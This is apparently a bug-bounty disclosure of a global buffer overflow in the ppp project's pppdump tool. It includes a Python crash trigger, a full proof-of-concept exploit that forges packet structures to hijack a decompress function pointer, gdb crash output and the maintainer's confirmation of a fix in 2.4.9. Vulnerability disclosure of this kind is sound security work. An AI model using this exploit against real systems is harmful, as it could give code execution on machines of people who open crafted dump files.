Global overflow in pppdump leads to RCE in ppp-project/ppp

Valid

Reported on

Jun 28th 2022


Global overflow vulnerability in pppdump

A global overflow vulnerability is present in the pppdump utility of the ppp repo which may lead to code execution. Specifically when the -p flag is given for enabling the pppmodeon the pppdump command, a malicious crafted pppdump file can trigger a global overflow which can be exploited to gain code execution.

The main cause of the global overflow is:

  1. The length of a ppp packet can get up to 0xffff and it's attacker controllable
  2. The size of the buffer in both rpkt and spkt structures is constant: 8196 bytes.

The length of a ppp packet is read here.

        int n;
        ...
        n = getc(f);
        n = (n << 8) + getc(f);
        ...

An attacker can enter a bigger packet than expected from the spkt/rpkt. Then later when the packet is read and saved on the spkt/rpkt buffer here the attacker can trigger a global overflow on the spkt/rpkt structures.

struct pkt {
    int cnt;
    int esc;
    int flags;
    struct compressor *comp;
    void *state;
    unsigned char buf[8192];
} spkt, rpkt;

Because the attacker can control from which structure spkt/rpkt to trigger the global overflow, and the program sequentially reads new packets from the pppdump file, he can trigger the global overflow from the spkt to corrupt the rpkt->cnt field of the rpkt to gain a relative write primitive (or in 32 bits an arbitrary write) on the next packet. This is enough to achieve an arbitrary write on 32 bits and compromise the system by overwriting glibc data, but on 64 bits it's not enough to "reach" useful code on the loaded shared libraries.

The attacker can still leverage the fact that the rpkt->cnt field is a signed integer and attack the data present on the .bss by using negative values. A PoC which demonstrates this on a 64 bit version of the pppdump utility can be found below.

In the below PoC I demonstrate the ability to call pkt->comp->decompress() on arbitrary attacker controllable data (0xdeadbeef). If either the ASLR or PIE is not enabled, an attacker can turn this primitive to actual code execution.

To only confirm the global overflow the following script can be used:

pkt = b'\x02' + b'\xff\xff' + b'A'*0xffff
with open('payload', 'wb') as payload:
    payload.write(pkt)
print('Run: pppdump -p payload')

Proof of Concept

import struct

# pip3 install crcmod
import crcmod

# This exploit only demonstrates the capability to turn the Global overflow
# into an RCE. For actually exploiting the program, a memory leak is necessary.

# The exploit assumes an attacker controllable dump file to passed as an input
# to the following command: pppdump -p attackers_dump_file

PPP_INITFCS = 0xffff
PPP_GOODFCS = 0xf0b8

CCP_ISUP = 1
CCP_ERROR = 2
CCP_FATALERROR = 4
CCP_ERR = (CCP_ERROR | CCP_FATALERROR)
CCP_DECOMP_RUN = 8

# Prepare payload
spkt_option = b'\x01'
spkt_n = b'\x20\x04' # = (0x20 << 8) + 4 = 8192 + 4 (Global overflow)
spkt_buf = b'A'*8192

# We wish to corrupt the cnt field of the rpkt structure inorder to gain
# a relative write primitive. With this primitive we wish to enable the
# 'decompress' option flag (in case if it was not given) and gain
# code execution by corrupting the 'compress' struct of the rpkt structure.
rpkt_cnt = struct.pack('i', -0x2074)

spkt = spkt_option + spkt_n + spkt_buf + rpkt_cnt

nrpkt_flags = CCP_ISUP | CCP_DECOMP_RUN

# struct pkt {
nrpkt_cnt   = struct.pack('i',   0x00000000) # int cnt;
nrpkt_esc   = struct.pack('<I',  0x00000000) # int esc;
nrpkt_flags = struct.pack('<I', nrpkt_flags) # int flags;
padding_4   = struct.pack('i',   0x00000000) # XXX  4-byte hole
nrpkt_comp  = struct.pack('<Q',  0xdeadbeef) # struct compressor *comp;
nrpkt_state = struct.pack('i',   0x00000001) # void *state;
# }

forge_new_rpkt = nrpkt_cnt   + nrpkt_esc \
               + nrpkt_flags + padding_4 \
               + nrpkt_comp  + nrpkt_state

rpkt_buf = b'YEAH' + b'A'*0x30 + forge_new_rpkt
rpkt_n = ((len(rpkt_buf) & 0xffff) >> 8).to_bytes(1, 'big') + \
          (len(rpkt_buf) & 0xff).to_bytes(1, 'big')
rpkt_option = b'\x02'

rpkt = rpkt_option + rpkt_n + rpkt_buf

proto = b'\xfd' # PPP_COMP
shrtpkt =  proto + b'AAA'

crc16 = crcmod.mkCrcFun(0x11021, rev=True,initCrc=0x0000, xorOut=0xFFFF)
fcs = crc16(shrtpkt)
fcs = struct.pack('h', fcs)

shrtrpkt = b'\x01' + b'\x00\x07' + shrtpkt + fcs + b'~'

payload = spkt + rpkt + shrtrpkt

with open('poc', 'wb') as poc:
    poc.write(payload)

print('[+] Payload is ready.')

Running it on gdb with debugging symbols and with the source code included:

$ gdb --args ./pppdump -p ./poc
Program received signal SIGSEGV, Segmentation fault.
dumpppp (f=0x5555555712a0) at pppdump.c:343
343                     rv = pkt->comp->decompress(pkt->state, r,
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────
 RAX  0xdeadbeef
 RBX  0x0
 RCX  0x5
 RDX  0x3
 RDI  0x5555555712a0 ◂— 0xfbad2488
 RSI  0xf
 R8   0x3
 R9   0x555555571480 ◂— 0x2ffffdf8c414141
 R10  0x77
 R11  0x246
 R12  0x7fffffffddc8 —▸ 0x7fffffffe166 ◂— '/home/un1c0rn/Desktop/dump/ppp/builded/sbin/pppdump'
 R13  0x555555555369 (main) ◂— endbr64 
 R14  0x555555566d38 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555555320 (__do_global_dtors_aux) ◂— endbr64 
 R15  0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
 RBP  0x7fffffffdc70 —▸ 0x7fffffffdcb0 ◂— 0x3
 RSP  0x7fffffffdbe0 —▸ 0x7ffff7e0a060 (flush_cleanup) ◂— endbr64 
 RIP  0x555555555e1d (dumpppp+1268) ◂— mov    r9, qword ptr [rax + 0x28]
───────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────
 ► 0x555555555e1d <dumpppp+1268>    mov    r9, qword ptr [rax + 0x28]
   0x555555555e21 <dumpppp+1272>    mov    rax, qword ptr [rbp - 0x20]
   0x555555555e25 <dumpppp+1276>    sub    rax, qword ptr [rbp - 0x40]
   0x555555555e29 <dumpppp+1280>    mov    edi, eax
   0x555555555e2b <dumpppp+1282>    mov    rax, qword ptr [rbp - 0x28]
   0x555555555e2f <dumpppp+1286>    mov    rax, qword ptr [rax + 0x18]
   0x555555555e33 <dumpppp+1290>    lea    rcx, [rbp - 0x70]
   0x555555555e37 <dumpppp+1294>    mov    rdx, qword ptr [rbp - 0x38]
   0x555555555e3b <dumpppp+1298>    mov    rsi, qword ptr [rbp - 0x40]
   0x555555555e3f <dumpppp+1302>    mov    r8, rcx
   0x555555555e42 <dumpppp+1305>    mov    rcx, rdx
───────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────
In file: /home/un1c0rn/Desktop/dump/ppp/pppdump/pppdump.c
   338              } else if (proto == PPP_COMP) {
   339              if ((pkt->flags & CCP_ISUP)
   340                  && (pkt->flags & CCP_DECOMP_RUN)
   341                  && pkt->state
   342                  && (pkt->flags & CCP_ERR) == 0) {
 ► 343                  rv = pkt->comp->decompress(pkt->state, r,
   344                          endp - r, d, &dn);
   345                  switch (rv) {
   346                  case DECOMP_OK:
   347                  p = dbuf;
   348                  nb = d + dn - p;
───────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdbe0 —▸ 0x7ffff7e0a060 (flush_cleanup) ◂— endbr64 
01:0008│     0x7fffffffdbe8 —▸ 0x5555555712a0 ◂— 0xfbad2488
02:0010│     0x7fffffffdbf0 ◂— 0x0
03:0018│     0x7fffffffdbf8 ◂— 0xf0b8000000000000
04:0020│     0x7fffffffdc00 ◂— 0x7e55564046 /* 'F@VU~' */
05:0028│     0x7fffffffdc08 ◂— 0x600000001
06:0030│     0x7fffffffdc10 ◂— 0xfd00000004
07:0038│     0x7fffffffdc18 —▸ 0x5555555712a0 ◂— 0xfbad2488
─────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────
 ► f 0   0x555555555e1d dumpppp+1268
   f 1   0x5555555554f5 main+396
   f 2   0x7ffff7da6d90 __libc_start_call_main+128
   f 3   0x7ffff7da6e40 __libc_start_main+128
   f 4   0x5555555552a5 _start+37
────────────────────────────────────────────────────────────────────────────────────────────────────────

Impact

This vulnerability is capable of triggering a global overflow which might lead to code execution on the victim side by running malicious crafted ppp packets with the pppdump utility.

We are processing your report and will contact the ppp-project/ppp team within 24 hours. a year ago
We created a GitHub Issue asking the maintainers to create a SECURITY.md a year ago
George Dhmosxakhs modified the report
a year ago
We have contacted a member of the ppp-project/ppp team and are waiting to hear back a year ago
We have sent a follow up to the ppp-project/ppp team. We will try again in 7 days. a year ago
We have sent a second follow up to the ppp-project/ppp team. We will try again in 10 days. a year ago
ppp-project/ppp maintainer
a year ago

Maintainer


Yes there is a buffer overflow here. The analysis is slightly incorrect in that the value of n is irrelevant - it describes the length of a block of recorded characters in the pppdump file, but each block of recorded characters can contain multiple PPP packets.

Fortunately, pppdump is not invoked automatically in any scenario that I am aware of, is not used in the normal process of setting up a PPP connection, and is not installed setuid-root.

We have sent a third and final follow up to the ppp-project/ppp team. This report is now considered stale. a year ago
George
a year ago

Researcher


Fortunately, the impact is minimal, and can be a threat, only if an attacker manages to force someone to inspect malicious crafted ppp packets using the pppdump utility.

ppp-project/ppp maintainer validated this vulnerability a year ago
George Dhmosxakhs has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
We have sent a fix follow up to the ppp-project/ppp team. We will try again in 7 days. a year ago
ppp-project/ppp maintainer marked this as fixed in 2.4.9 with commit a75fb7 a year ago
The fix bounty has been dropped
This vulnerability will not receive a CVE
to join this conversation